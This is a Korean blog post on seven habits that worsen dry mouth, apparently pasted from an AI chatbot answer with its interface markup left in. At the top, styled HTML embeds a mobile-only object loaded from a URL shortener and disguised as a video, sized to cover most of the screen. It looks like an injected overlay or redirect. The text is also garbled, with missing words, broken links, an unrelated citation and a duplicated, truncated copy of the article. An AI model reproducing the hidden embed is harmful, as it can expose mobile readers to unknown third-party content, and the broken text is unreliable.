구강 건조증 치료에 방해되는 습관 7가지

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c3577852161="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:26">구강 건조증을 악화시키는 7가지 나쁜 습관</h2><p data-sourcepos="3:1-3:149">구강 건조증은 일상생활에 불편을 야기할 뿐만 아니라, 구강 건강에도 악영향을 미칠 수 있습니다. 이러한 을 완화하기 위해서는 올바른 와 함께 생활습관 개선이 중요합니다. 구강 건조증을 악화시키는 대표적인 7가지 나쁜 습관과 그 해결 방법에 대해 알아보겠습니다.</p><h3 data-sourcepos="5:1-5:19">1. <strong>입으로 숨 쉬기</strong></h3><p data-sourcepos="7:1-7:97">입으로 숨을 쉬면 입안이 더욱 건조해져 구강 건조증을 악화시킬 수 있습니다. 코막힘이 있다면 병원을 방문하여 를 받고, 평소 코로 숨 쉬는 습관을 들이는 것이 좋습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.nvu.co.kr/sub/customer01.php?ptype=view&amp;code=news&amp;idx=5687"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="입으로 숨 쉬는 사람 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcRCcn3fPoZepyj2G5IDJEJD7GHSfCU8IPwvdspx1tZMTdZ3gMdOYsdvLz9-O_uz"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.nvu.co.kr/sub/customer01.php?ptype=view&amp;code=news&amp;idx=5687" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcTDEWkwrcrdaqDo_fyP7MMjr3LAL_QBiT7qap_euua-uLGxGHNbxQT9_764sbJssyuZIuyD7LdRzmZJrCgUNKdvJsikoC40Fw"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.nvu.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 입으로 숨 쉬는 사람 </div></div></single-image></response-element></div></p><h3 data-sourcepos="11:1-11:28">2. <strong>커피, 술, 탄산음료 과다 섭취</strong></h3><p data-sourcepos="13:1-13:92">카페인과 알코올은 침 분비를 감소시켜 구강 건조증을 유발하거나 악화시킬 수 있습니다. 탄산음료 역시 구강 내 수분을 빼앗아 건조함을 더욱 심하게 만들 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///pumpddr1/223146400627?viewType=pc"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="커피, 술, 탄산음료 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQF5tS2P5RuafJjstW1lNpTbHV0u9kU8Z6KIGSAoH-ZeaCx52nuCS5N1nxEfYwC"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s:///pumpddr1/223146400627?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 커피, 술, 탄산음료 </div></div></single-image></response-element></div></p><h3 data-sourcepos="17:1-17:24">3. <strong>맵고 짠 음식 과다 섭취</strong></h3><p data-sourcepos="19:1-19:80">맵고 짠 음식은 침샘을 자극하여 일시적으로 침 분비를 늘릴 수 있지만, 장기적으로는 침샘 기능을 떨어뜨려 구강 건조증을 악화시킬 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://food.daily.co.kr/read3134182944"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="맵고 짠 음식 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcR7r3AlzZQDK_d5CuvHt6x8GVTbVt3Gb2zJ9xMDA8ySi8kCvMKjnGTY5K-_SXoP"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://food.daily.co.kr/read3134182944" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQ2UCvuj1zD4meq2EXC2Qp0a_BeCFT36CVOum1sNbPbdTwlpdpC5PDZsWnq0YWai1jXPBUrCxkx_-yioy3ugk2MpsJtjsXLlmGAaA"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">food.daily.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 맵고 짠 음식 </div></div></single-image></response-element></div></p><h3 data-sourcepos="23:1-23:13">4. <strong>흡연</strong></h3><p data-sourcepos="25:1-25:82">흡연은 구강 건조증뿐만 아니라 다양한 구강 의 원인이 됩니다. 흡연은 침샘 기능을 저하시키고 구강 점막을 손상시켜 구강 건조증을 악화시킵니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B1%B0%EB%A6%AC%20%ED%9D%A1%EC%97%B0"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="흡연하는 사람 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQcsVp5Jmw3WJbDMxLz9xh3BUrsl0n9R-vJKhk4q-uxcAzZpSryNcdb4hHdX5sh"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B1%B0%EB%A6%AC%20%ED%9D%A1%EC%97%B0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 흡연하는 사람 </div></div></single-image></response-element></div></p><h3 data-sourcepos="29:1-29:19">5. <strong>입 벌리고 자기</strong></h3><p data-sourcepos="31:1-31:72">입을 벌리고 자면 입안이 건조해져 구강 건조증이 악화될 수 있습니다. 특히 건조한 환경에서 자는 경우 더욱 심해질 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.healthweek.co.kr/news/view.php?bIdx=5360"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="입을 벌리고 자는 사람 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSw7IIT1pYH0Xby_uHangYyRzlFS78Ag9avzCL19NmaQX7OXzojgo_5NIQd7Gtp"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.healthweek.co.kr/news/view.php?bIdx=5360" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcQky_cZ7CpJtTl7J3H6nK7xhwA8n_2z45XGLU3BJMyAkCb_Xh5Gx6gDXClvj5HLQe5AK42Ze9BpUaRrWTpvFx77zxerYZyXROUA25Y44Uo"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.healthweek.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 입을 벌리고 자는 사람 </div></div></single-image></response-element></div></p><h3 data-sourcepos="35:1-35:15">6. <strong>스트레스</strong></h3><p data-sourcepos="37:1-37:86">스트레스는 침 분비를 감소시켜 구강 건조증을 유발할 수 있습니다. 스트레스 관리를 위해 명상, 요가 등 자신에게 맞는 방법을 찾아 실천하는 것이 좋습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://depositphotos.com/ko/photo/stressed-man-8171108.html"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="스트레스를 받는 사람 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTgDaOneQJKOgkuvGG0Nuq_60MNzFvTfSCVeO2pJDIy-7-3aHHb86VvftNC0rpm"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://depositphotos.com/ko/photo/stressed-man-8171108.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQ0Q5EZPcfAswKWi6WHs42PUaTkpQItZMfP4Fy8SviCV-hnLHm9LXuTb8BI4q6NUyqkXZB9v-_HRJbQjZ_XjWj1egK73a2kbxygQds"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">depositphotos.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 스트레스를 받는 사람 </div></div></single-image></response-element></div></p><h3 data-sourcepos="41:1-41:20">7. <strong>잘못된 구강 관리</strong></h3><p data-sourcepos="43:1-43:118">강한 자극의 치약이나 구강청결제를 사용하거나, 혀를 자주 닦는 것은 오히려 구강 건조증을 악화시킬 수 있습니다. 부드러운 칫솔과 순한 치약을 사용하고, 혀를 자주 닦는 대신 혀 스크래퍼를 이용하는 것이 좋습니다.</p><p data-sourcepos="45:1-45:25"><strong>구강 건조증 해결을 위한 추가적인 노력</strong></p><ul data-sourcepos="47:1-51:0"> <li data-sourcepos="47:1-47:48"><strong>충분한 수분 섭취:</strong> 하루 8잔 이상의 물을 마셔 입안을 촉촉하게 유지합니다.</li> <li data-sourcepos="48:1-48:41"><strong>인공 침 사용:</strong> 인공 침을 사용하여 입안을 촉촉하게 유지합니다.</li> <li data-sourcepos="49:1-49:56"><strong>가습기 사용:</strong> 특히 겨울철이나 건조한 환경에서는 가습기를 사용하여 실내 습도를 유지합니다.</li> <li data-sourcepos="50:1-51:0"><strong>정기적인 치과 검진:</strong> 정기적인 치과 검진을 통해 구강 건강을 관리하고, 구강 건조증에 대한 전문적인 상담을 받습니다.</li> </ul><p data-sourcepos="52:1-52:74"><strong>주의:</strong> 구강 건조증이 심하거나 다른 과 관련이 있을 경우에는 반드시 전문가와 상담하여 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="54:1-54:21"><strong> 출처:</strong> 구글 검색</p><p data-sourcepos="56:1-56:291"><strong>Disclaimer:</strong> This information is intended for general knowledge and informational purposes only, and does not constitute medical advice. <span class="citation-0 citation-end-0 interactive-span-selected-v2">Always seek the advice of your physician or other qualified health provider with any questions you may have regarding a medical conditio<source-footnote _nghost-ng-c2343494279="" ng-version="0.0.0-PLACEHOLDER"><sup _ngcontent-ng-c2343494279="" class="superscript visible highlight" data-turn-source-index="1"> 1 </sup></source-footnote></span>n.<sources-carousel-inline _nghost-ng-c2639593659="" ng-version="0.0.0-PLACEHOLDER"><span _ngcontent-ng-c2639593659="" hide-from-message-actions="" class="button-container hide-from-message-actions ng-star-inserted"> &nbsp; <button _ngcontent-ng-c2639593659="" hide-from-message-actions="" aria-controls="sources" class="mat-mdc-tooltip-trigger button image-fade-on button-selected hide-from-message-actions" aria-expanded="true" jslog="220646;track:generic_click,impression" aria-describedby="cdk-describedby-message-ng-1-4" cdk-describedby-host="ng-1"><mat-icon _ngcontent-ng-c2639593659="" role="img" class="mat-icon notranslate symbol google-symbols mat-ligature-font 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cdk-describedby-host="ng-1" style="opacity: 0; visibility: hidden;"><span class="mat-mdc-button-persistent-ripple mdc-fab__ripple"></span><mat-icon _ngcontent-ng-c4182899795="" role="img" class="mat-icon notranslate google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_left" fonticon="chevron_left"></mat-icon><span class="mdc-button__label"></span><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button><div _ngcontent-ng-c4182899795="" class="carousel-container ng-tns-c4182899795-4"><div _ngcontent-ng-c4182899795="" class="carousel-content ng-tns-c4182899795-4"><div _ngcontent-ng-c4182899795="" data-test-id="sources-carousel-source" class="sources-carousel-source ng-tns-c4182899795-4 ng-star-inserted"><recitation-source-card _ngcontent-ng-c4182899795="" _nghost-ng-c881999713="" class="ng-tns-c4182899795-4 ng-star-inserted"><url-source-card _ngcontent-ng-c881999713="" _nghost-ng-c3569932492="" class="is-recitation ng-star-inserted"><div _ngcontent-ng-c3569932492="" class="source-card-container"><div _ngcontent-ng-c3569932492="" class="source-card-content"><a _ngcontent-ng-c3569932492="" rel="noopener" class="link" s://.denverhealth.org/blog/2019/12/how-to-use-an-inhaler-with-spacer-and-mask" jslog="180390;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,&quot;https://.denverhealth.org/blog/2019/12/how-to-use-an-inhaler-with-spacer-and-mask&quot;,null,&quot;ko&quot;,null,null,null,null,1,0]]"><div _ngcontent-ng-c3569932492="" class="source-card-body"><div _ngcontent-ng-c3569932492="" class="source-card-header"><div _ngcontent-ng-c3569932492="" class="source-card-title"><span _ngcontent-ng-c3569932492="" class="source-card-title-index ng-star-inserted">1.</span><span _ngcontent-ng-c3569932492="" class="ellipsis clamp-two-lines"> .denverhealth.org </span></div><mat-icon _ngcontent-ng-c3569932492="" role="img" class="mat-icon notranslate gds-icon-l icon-filled source-card-indicator google-symbols mat-ligature-font mat-icon-no-color ng-star-inserted" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="format_quote" fonticon="format_quote"></mat-icon></div></div><span _ngcontent-ng-c3569932492="" aria-label=""></span></a><div _ngcontent-ng-c3569932492="" class="source-card-footer"><a _ngcontent-ng-c3569932492="" rel="noopener" class="link" s://.denverhealth.org/blog/2019/12/how-to-use-an-inhaler-with-spacer-and-mask" jslog="180390;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ed91b0160a0d11c1&quot;,&quot;c_df9be5d319fee505&quot;,null,&quot;rc_48893411035e35dd&quot;,&quot;https://.denverhealth.org/blog/2019/12/how-to-use-an-inhaler-with-spacer-and-mask&quot;,null,&quot;ko&quot;,null,null,null,null,1,0]]"><div _ngcontent-ng-c3569932492="" class="source-card-attribution"><span _ngcontent-ng-c3569932492="" class="source-card-attribution-text ellipsis">.denverhealth.org</span></div><span _ngcontent-ng-c3569932492="" aria-label=""></span></a></div></div></div></url-source-card></recitation-source-card></div></div></div><button _ngcontent-ng-c4182899795="" mat-mini-fab="" mattooltip="다음" aria-label="다음 출처로 스크롤" class="mat-mdc-tooltip-trigger next-button mdc-fab mat-mdc-fab-base mdc-fab--mini mat-mdc-mini-fab ng-tns-c4182899795-4 mat-accent mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" aria-describedby="cdk-describedby-message-ng-1-8" cdk-describedby-host="ng-1" style="opacity: 0; visibility: hidden;"><span class="mat-mdc-button-persistent-ripple mdc-fab__ripple"></span><mat-icon _ngcontent-ng-c4182899795="" role="img" class="mat-icon notranslate google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon><span class="mdc-button__label"></span><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></sources-carousel></sources-carousel-inline></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c3577852161="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:26">구강 건조증을 악화시키는 7가지 나쁜 습관</h2><p data-sourcepos="3:1-3:149">구강 건조증은 일상생활에 불편을 야기할 뿐만 아니라, 구강 건강에도 악영향을 미칠 수 있습니다. 이러한 을 완화하기 위해서는 올바른 와 함께 생활습관 개선이 중요합니다. 구강 건조증을 악화시키는 대표적인 7가지 나쁜 습관과 그 해결 방법에 대해 알아보겠습니다.</p><h3 data-sourcepos="5:1-5:19">1. <strong>입으로 숨 쉬기</strong></h3><p data-sourcepos="7:1-7:97">입으로 숨을 쉬면 입안이 더욱 건조해져 구강 건조증을 악화시킬 수 있습니다. 코막힘이 있다면 병원을 방문하여 를 받고, 평소 코로 숨 쉬는 습관을 들이는 것이 좋습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.nvu.co.kr/sub/customer01.php?ptype=view&code=news&idx=5687"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="입으로 숨 쉬는 사람 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRCcn3fPoZepyj2G5IDJEJD7GHSfCU8IPwvdspx1tZMTdZ3gMdOYsdvLz9-O_uz"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.nvu.co.kr/sub/customer01.php?ptype=view&code=news&idx=5687" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTDEWkwrcrdaqDo_fyP7MMjr3LAL_QBiT7qap_euua-uLGxGHNbxQT9_764sbJssyuZIuyD7LdRzmZJrCgUNKdvJsikoC40Fw"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.nvu.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 입으로 숨 쉬는 사람 </div></div></single-image></response-element></div></p><h3 data-sourcepos="11:1-11:28">2. <strong>커피, 술, 탄산음료 과다 섭취</strong></h3><p data-sourcepos="13:1-13:92">카페인과 알코올은 침 분비를 감소시켜 구강 건조증을 유발하거나 악화시킬 수 있습니다. 탄산음료 역시 구강 내 수분을 빼앗아 건조함을 더욱 심하게 만들 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///pumpddr1/223146400627?viewType=pc"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="커피, 술, 탄산음료 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQF5tS2P5RuafJjstW1lNpTbHV0u9kU8Z6KIGSAoH-ZeaCx52nuCS5N1nxEfYwC"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s:///pumpddr1/223146400627?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 커피, 술, 탄산음료 </div></div></single-image></response-element></div></p><h3 data-sourcepos="17:1-17:24">3. <strong>맵고 짠 음식 과다 섭취</strong></h3><p data-sourcepos="19:1-19:80">맵고 